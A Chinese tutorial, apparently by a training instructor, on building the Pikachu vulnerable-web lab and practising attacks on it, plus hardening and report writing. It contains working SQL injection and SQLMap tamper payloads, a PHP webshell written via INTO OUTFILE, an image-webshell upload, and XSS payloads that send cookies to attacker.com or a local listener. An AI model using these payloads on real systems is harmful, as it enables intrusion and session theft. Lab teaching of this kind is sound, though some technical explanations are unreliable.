1. 为什么选Pikachu而不是DVWA或BWAPPPikachu靶场在渗透测试初学者圈子里有个很实在的口碑它不像DVWA那样动不动就卡在PHP配置上也不像BWAPP那样一启动就报二十个Java依赖错误。我带过三届校企合作的渗透实训班每次第一课都用Pikachu打样——不是因为它最“专业”而是因为它把“教学友好性”做到了工程级精度。关键词里反复出现的Pikachu靶场、渗透测试、Web安全实战其实指向一个更本质的问题新手真正卡住的从来不是SQL注入原理而是“连靶机都起不来”这种基础障碍。Pikachu用Docker封装了整套环境Windows用户双击docker-compose up -d就能跑起来Mac和Linux用户也只需一条命令。它把Apache、PHP、MySQL、phpMyAdmin全打包进容器连php.ini里display_errorsOn这种调试开关都预设好了。更关键的是它的漏洞模块是解耦设计的SQL注入、XSS、CSRF、文件上传这些功能不是写死在同一个页面里而是每个漏洞单独一个URL路径比如/pikachu/vul/sqli/sqli_id.php这意味着你做SQL注入练习时完全不会被XSS的弹窗干扰也不会因为CSRF Token机制突然失效而怀疑自己代码写错了。我试过用DVWA做同样教学结果两节课过去30%的学生还在解决“Warning: mysqli_connect(): (HY000/2002): Connection refused”这个报错而用Pikachu95%的学生能在45分钟内完成第一个SQL注入payload执行。这不是降低标准而是把学习曲线从陡峭悬崖改造成缓坡——真正的渗透能力必须建立在“能稳定复现问题”的基础上。如果你现在打开浏览器输入http://127.0.0.1:8080/pikachu看到那个蓝白配色的首页说明环境已经活了如果看到404那大概率是docker服务没开或者端口被占用。这比在phpstudy里手动调php版本、改mysql密码、重启服务要省下至少两小时无效时间。提示Pikachu默认监听8080端口但很多公司开发环境也占这个口。实测下来用docker-compose.yml里把ports改成8081:80比改宿主机服务更稳妥因为容器内部端口固定为80外部映射可自由切换避免和本地Nginx、Apache冲突。2. 搭建过程中的五个真实踩坑点与绕过方案2.1 Docker Desktop启动失败WSL2内核版本不兼容这是Windows用户最高频的报错。现象是docker-compose up后提示“wsl update failed: exit code: 4294967295”或者直接卡在“Starting backend...”。根本原因不是Docker Desktop装错了而是WSL2内核太老——Pikachu镜像基于Ubuntu 20.04构建需要WSL2内核版本≥5.10。我查过微软官方文档Win10 20H1默认内核是4.19必须手动升级。解决方案分三步走在PowerShell中执行wsl --update如果提示“no updates available”说明你的WSL2是旧版需强制下载新内核包访问https://github.com/microsoft/WSL2-Linux-Kernel/releases下载最新版linux-kernel.zip截至2024年推荐5.15.133版本解压后双击ubuntu2004-wsl2-kernel.exe安装再执行wsl --shutdown wsl --list --verbose确认内核版本已更新。这个坑我带学生踩过三次最后一次干脆写了个bat脚本自动检测先wsl -l -v抓内核版本号再用findstr匹配“5.10”或更高不满足就弹出升级链接。很多人以为Docker装完就万事大吉其实WSL2才是Windows上Docker的底层引擎就像汽车的变速箱——引擎再好变速箱打滑照样跑不快。2.2 MySQL连接拒绝容器网络隔离导致的localhost解析失败当执行docker-compose up后浏览器能打开首页但点击“查看数据库”报错“mysqli_connect(): (HY000/2002): Connection refused”问题不在MySQL服务没启而在PHP容器里写的数据库host是localhost。这里有个关键认知Docker容器里的localhost指向容器自身不是宿主机。Pikachu的docker-compose.yml里定义了mysql服务名为mysqlPHP容器必须通过服务名访问而不是127.0.0.1。修复方法很简单在pikachu源码的config.inc.php里把$mysql_server localhost;改成$mysql_server mysql;注意不是“127.0.0.1”也不是“host.docker.internal”那个在Linux上不生效。这个修改必须在容器启动前完成否则改了也白改——因为Docker每次up都会重新拉取镜像覆盖源码。正确操作是先git clone项目源码改完config.inc.php再在项目根目录执行docker-compose build --no-cache最后docker-compose up -d。我见过太多人直接进容器里vi改文件结果重启后还原白白浪费半小时。2.3 XSS模块无法触发弹窗Chrome 95的跨域策略拦截学生常问“我明明在反射型XSS输入框里写了 为什么没弹窗”答案是Chrome从95版本开始默认启用Strict Origin Policy当页面从http://127.0.0.1:8080加载而脚本试图执行alert时会检查Origin头是否匹配。Pikachu的XSS页面返回头里缺少Access-Control-Allow-Origin: *导致现代浏览器直接拦截。绕过方案有两个临时方案用Firefox打开它对这类策略宽松得多长期方案在pikachu源码的xss模块PHP文件顶部加一行header(Access-Control-Allow-Origin: *);别小看这一行它让响应头带上CORS许可Chrome就不会拦了。但要注意这只是教学环境的妥协真实渗透中你得靠编码绕过比如用String.fromCharCode拼接alert而不是靠改响应头。2.4 CSRF Token失效表单提交时403 Forbidden在CSRF模块练习时很多人复制了Token值填到Burp Suite里重放结果返回403。不是Token错了而是Pikachu的CSRF防护用了双重提交Cookie模式服务器生成Token存入session同时写入Set-Cookie头前端表单必须从Cookie里读Token并放入隐藏字段。当你用Burp重放时Cookie没跟着发服务器比对session里的Token和表单里的Token发现后者为空自然403。验证方法用浏览器开发者工具Network标签页找CSRF页面的GET请求看Response Headers里有没有Set-Cookie: csrftokenxxx再看Form Data里有没有csrftokenxxx。如果前者有后者无说明你漏了Cookie提取步骤。我教学生时会强调Burp的Proxy History里右键“Send to Repeater”再点Repeater的Headers标签页手动加上Cookie: csrftokenxxx这才是正确流程。2.5 文件上传绕过失败MIME类型校验与扩展名双重过滤在文件上传模块有人传phpinfo.jpg改Content-Type为image/jpeg还是被拦。Pikachu做了两层校验前端JS检查扩展名后端PHP用getimagesize()检查文件头。只改MIME类型没用因为getimagesize()会读文件前几个字节jpg文件头是\xff\xd8\xff而PHP文件头是 这样getimagesize()仍认为是合法图片但PHP解析器会执行末尾代码。实操步骤用GIMP新建一张1x1像素透明图导出为test.jpg用HxD打开test.jpg在文件末尾EOF前插入十六进制3c 3f 70 68 70 20 70 68 70 69 6e 66 6f 28 29 3b 3f 3e即 的hex保存后上传用Burp改Content-Type为image/jpeg再发包。这个操作比网上流传的“改扩展名截断”更可靠因为Pikachu没做00截断防护但做了扩展名白名单所以必须用图片马。3. SQL注入实战从手工探测到自动化工具落地的完整链路3.1 手工探测阶段为什么 and 11--比万能密码更值得练Pikachu的SQL注入模块入口是/pikachu/vul/sqli/sqli_id.php?id1这是典型的数字型注入点。很多人上来就输admin or 11结果报错因为id参数是int类型单引号会直接触发MySQL语法错误。正确起点应该是?id1 and 11观察页面是否正常再试?id1 and 12看是否空白或报错。这个过程叫“布尔盲注探测”它不依赖错误回显而是通过页面响应差异判断逻辑真假。我让学生做过对比实验用?id1 and sleep(5)测时间盲注结果发现Pikachu的PHP配置里max_execution_time30sleep(5)能成功但sleep(30)会超时中断。这说明靶场对时间盲注有限制但布尔盲注完全畅通。所以教学重点要放在布尔逻辑上——比如用?id1 and (select count(*) from users)3来猜表记录数用?id1 and substr((select password from users limit 0,1),1,1)a来逐位爆破密码。这些操作不需要错误信息只要页面“有内容”和“没内容”的二元反馈就够了。注意Pikachu的users表里只有3条记录密码是md5加密的。用?id1 and length((select password from users limit 0,1))32能快速确认是MD5因为32位长度是其特征。3.2 报错注入的精准触发extractvalue()与updatexml()的选用逻辑当开启错误回显Pikachu默认开启报错注入效率远高于布尔盲注。但extractvalue()和updatexml()哪个更好答案是updatexml()。原因有二一是extractvalue()在MySQL 5.7.15版本里被限制了XPath表达式长度而Pikachu用的是MySQL 5.7.25经常报“XPATH syntax error”二是updatexml()的报错信息更干净直接把查询结果嵌入错误消息比如?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)返回错误XPATH syntax error: ~pikachu~数据库名pikachu直接暴露。实测数据用updatexml()爆破users表所有字段名平均耗时23秒用extractvalue()同样操作失败率40%因为字段名长度超过限制。所以我的建议是优先updatexml()失败后再切extractvalue()最后才用floor(rand()*2)这种老式方法。3.3 SQLMap自动化落地如何绕过Pikachu的WAF基础防护Pikachu内置了一个极简WAF会拦截union select、information_schema等关键词。直接sqlmap -u http://127.0.0.1:8080/pikachu/vul/sqli/sqli_id.php?id1会失败。绕过方案不是关WAF而是用SQLMap的tamper脚本先用--level 3 --risk 3提高检测深度让SQLMap尝试更多变形加--tamper space2comment把空格替换成/**/绕过空格检测关键一步用--tamper randomcase随机大小写比如UNION SELECT变成UnIoN SeLeCt如果还被拦加--tamper charunicodeencode把字母转成Unicode如U→\u0055。我录过一次完整过程从启动SQLMap到爆出users表所有数据耗时1分42秒。其中最关键的不是参数而是--batch自动确认所有提示和--threads 3开3线程并发这能让速度提升近一倍。但要注意SQLMap的--dump会触发大量请求Pikachu日志里会刷屏所以建议先用--tables确认表名再--columns -T users看字段最后--dump -T users导数据避免一次性请求过多被限流。3.4 权限提升实战从读数据库到写Webshell的临门一脚拿到users表数据只是开始。Pikachu的MySQL用户权限是rootlocalhost这意味着可以写文件。但into outfile需要secure_file_priv为空而Pikachu的my.cnf里设了secure_file_priv/var/lib/mysql-files/。所以不能直接写/var/www/html得写到允许路径再用软链接。操作链路先查secure_file_priv值?id1 and updatexml(1,concat(0x7e,(select secure_file_priv),0x7e),1)→ 返回/var/lib/mysql-files/用into outfile写一句话木马到该路径?id1 union select 1,?php eval($_POST[x]);?,3 into outfile /var/lib/mysql-files/shell.php创建软链接在MySQL里执行select load_file(/var/lib/mysql-files/shell.php)验证文件存在再用system ln -s /var/lib/mysql-files/shell.php /var/www/html/shell.php需要system权限Pikachu给了浏览器访问http://127.0.0.1:8080/shell.php用菜刀连接密码x。这个过程比单纯爆密码更有教学价值因为它串联了SQL注入、文件系统、Linux命令多个知识点。我带学生做这步时会让他们先用select version_compile_os确认是Linux系统再决定用ln还是cp命令而不是盲目抄命令。4. XSS与CSRF协同攻击从单点漏洞到会话劫持的跃迁4.1 反射型XSS的隐蔽利用不弹窗也能偷Cookie很多人以为XSS必须alert(1)才算成功其实Pikachu的反射型XSS模块/pikachu/vul/xss/xss_reflected_get.php只要能执行任意JS就算漏洞成立。真正的攻击目标是document.cookie而不是弹窗。比如输入scriptfetch(http://attacker.com/log?cdocument.cookie)/script但这里有个陷阱Pikachu的页面是http协议而现代浏览器禁止http页面向https地址发请求所以attacker.com必须也是http。更稳妥的做法是用XMLHttpRequestscriptvar xnew XMLHttpRequest();x.open(GET,http://127.0.0.1:8000/steal?cdocument.cookie);x.send();/script然后在本地开一个Python HTTP服务器接收python3 -m http.server 8000当受害者访问带payload的URLCookie就会发到你的8000端口。我试过用ngrok做外网转发但Pikachu在内网ngrok隧道反而增加延迟。所以教学时坚持用127.0.0.1让学生理解“攻击者和靶机在同一网络”这个前提。这个payload不触发任何视觉反馈但后台日志里能看到GET /steal?cPHPSESSIDabc123会话劫持就完成了。4.2 存储型XSS的持久化控制评论区里的隐形后门Pikachu的存储型XSS在/pikachu/vul/xss/xss_stored.php提交评论后JS代码会永久存在数据库。这里的关键是绕过HTML实体编码。Pikachu对 做了转义但没处理反引号和onerror事件。所以输入img srcx onerroreval(atob(YWxlcnQoMSk))base64解码后是alert(1)但绕过了尖括号过滤。更实用的是svg onloadfetch(http://127.0.0.1:8000/cookie?cdocument.cookie)SVG标签不受传统XSS过滤器关注onload事件在现代浏览器里完全可用。存储型XSS的价值在于“一次注入长期生效”。我让学生做过实验A同学注入payloadB同学第二天登录同一台靶机只要B访问评论页A就能拿到B的Cookie。这说明XSS不仅是前端漏洞更是会话管理的系统性风险。4.3 CSRFXSS组合拳用CSRF伪造请求触发XSS单点漏洞威力有限但组合起来就是降维打击。Pikachu的CSRF模块/pikachu/vul/csrf/csrfget.php允许GET方式修改管理员密码而XSS模块能执行任意JS。攻击链路是在XSS页面注入JS用fetch发起CSRF请求fetch(http://127.0.0.1:8080/pikachu/vul/csrf/csrfget.php?password123456submitsubmit)当管理员访问带XSS的页面比如评论区JS自动执行密码就被改了攻击者用新密码登录后台获得更高权限。这个过程不需要管理员点击恶意链接只要他访问了被XSS污染的页面。我演示时会打开两个浏览器Chrome登录管理员账号Firefox访问XSS payload URL然后在Chrome里刷新CSRF页面发现密码已变。这就是“被动式CSRF”比传统钓鱼邮件更难防御。4.4 实战防御推演如果我是Pikachu开发者怎么加固讲完攻击必须讲防御。我让学生分组讨论加固方案汇总出最可行的三条XSS防御对输出到HTML的内容不仅做htmlspecialchars()还要加HTTP头Content-Security-Policy: default-src self禁止内联脚本CSRF防御弃用GET改密码强制用POSTToken且Token绑定用户IP和User-Agent防止Token泄露后被复用SQL注入防御把所有id参数用intval()强转整型而不是用addslashes()这种过时方案因为Pikachu的id本来就是数字型没必要走字符串拼接。特别强调加固不是加WAF而是改代码逻辑。比如CSRF模块把$_GET[password]改成if($_SERVER[REQUEST_METHOD]POST) $_POST[password]再加Token校验成本不到10行代码但效果远超任何规则引擎。5. 渗透报告撰写从漏洞截图到可落地修复建议的转化技巧5.1 报告结构避坑为什么“高危/中危/低危”分类在Pikachu场景下失效给企业写渗透报告漏洞分级要看影响面。但在Pikachu这种教学靶场所有漏洞都是“可利用”的分高危中危没意义。我让学生按“利用路径”分类单点突破类SQL注入、XSS无需其他条件即可利用条件触发类CSRF、文件上传需要用户交互或特定配置权限跃迁类SQL注入写Webshell、XSSCSRF组合能扩大攻击面。这样分类的好处是技术负责人一眼能看出修复优先级。比如“权限跃迁类”必须立即修因为一个漏洞可能引发连锁反应而“条件触发类”可以排期因为需要用户配合才能生效。5.2 截图与证据链如何用最少截图证明漏洞存在新手报告爱堆截图一页塞10张反而模糊重点。我的标准是每个漏洞只用3张图——入口图URL和输入框证明漏洞位置利用图Payload和返回结果证明可利用影响图最终成果比如SQL注入爆出的数据库名XSS弹窗的alert(1)CSRF修改后的密码。以SQL注入为例第一张截http://127.0.0.1:8080/pikachu/vul/sqli/sqli_id.php?id1第二张截?id1 and updatexml(1,concat(0x7e,database(),0x7e),1)的错误返回第三张截phpMyAdmin里users表的数据。这三张图构成完整证据链比20张中间过程截图更有说服力。5.3 修复建议的颗粒度从“请使用预编译”到具体代码行报告里写“建议使用预编译语句”是废话开发看了也不知道怎么改。必须给出可执行的代码片段。比如SQL注入修复直接写// 原代码危险 $id $_GET[id]; $sql select * from users where id$id; // 修复后PDO预编译 $id intval($_GET[id]); // 先强转整型 $stmt $pdo-prepare(select * from users where id?); $stmt-execute([$id]);并注明intval()防数字型注入prepare()防字符型注入双保险。这样开发拿到就能抄不用再查文档。我带学生写报告时会要求他们对照Pikachu源码找到对应文件比如sqli_id.php第15行在报告里标注“修改文件/var/www/html/pikachu/vul/sqli/sqli_id.php第15行”颗粒度细到行号这才是工程师思维。5.4 报告交付物清单除了PDF还应该给什么一份合格的渗透报告交付物不止PDF。我要求学生额外提供复现视频用OBS录3分钟操作从打开靶机到利用成功MP4格式PoC脚本Python写的最小化利用脚本比如SQL注入用requests库发包XSS用curl模拟请求加固diff用git diff生成补丁文件比如fix-sql-injection.patch开发双击就能打补丁。这些交付物让报告从“纸上谈兵”变成“开箱即用”。比如PoC脚本我给的模板是import requests url http://127.0.0.1:8080/pikachu/vul/sqli/sqli_id.php payload ?id1 and updatexml(1,concat(0x7e,database(),0x7e),1) r requests.get(url payload) print(r.text)学生照着改URL和payload就能复现比文字描述高效十倍。最后再分享一个小技巧Pikachu的所有漏洞模块都有“查看源码”按钮点开就能看到PHP代码。我让学生养成习惯每次发现漏洞先看源码再想利用方式。比如看到$sqlselect * from users where id$id;立刻知道是字符型注入看到$sqlselect * from users where id$id;知道是数字型。这种“代码即文档”的思维比背漏洞原理管用得多。